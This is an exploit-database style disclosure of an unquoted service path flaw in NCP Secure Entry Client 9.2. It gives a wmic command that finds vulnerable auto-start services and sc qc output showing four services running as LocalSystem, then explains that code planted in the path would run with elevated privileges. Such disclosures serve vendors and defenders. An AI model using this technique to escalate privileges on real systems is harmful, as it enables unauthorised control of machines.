NCP_Secure_Entry_Client 9.2 – Unquoted Service Paths
# Exploit Title: NCP_Secure_Entry_Client 9.2 - Unquoted Service Paths # Date: 2019-11-17 # Exploit Author: Akif Mohamed Ik # Vendor Homepage: http://software.ncp-e.com/ # Software Link: http://software.ncp-e.com/NCP_Secure_Entry_Client/Windows/9.2x/ # Version: 9.2x # Tested on: Windows 7 SP1 # CVE : NA C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ ncprwsnt ncprwsnt C:\Program Files (x86)\NCP\SecureClient\ncprwsnt.exe Auto rwsrsu rwsrsu C:\Program Files (x86)\NCP\SecureClient\rwsrsu.exe Auto ncpclcfg ncpclcfg C:\Program Files (x86)\NCP\SecureClient\ncpclcfg.exe Auto NcpSec NcpSec C:\Program Files (x86)\NCP\SecureClient\NCPSEC.EXE Auto C:\Users\ADMIN>sc qc ncprwsnt [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ncprwsnt TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\NCP\SecureClient\ncprwsnt.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ncprwsnt DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\ADMIN>sc qc rwsrsu [SC] QueryServiceConfig SUCCESS SERVICE_NAME : rwsrsu TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\NCP\SecureClient\rwsrsu.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : rwsrsu DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\ADMIN>sc qc ncpclcfg [SC] QueryServiceConfig SUCCESS SERVICE_NAME : ncpclcfg TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\NCP\SecureClient\ncpclcfg.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ncpclcfg DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\ADMIN>sc qc NcpSec [SC] QueryServiceConfig SUCCESS SERVICE_NAME : NcpSec TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\NCP\SecureClient\NCPSEC.EXE LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : NcpSec DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application. |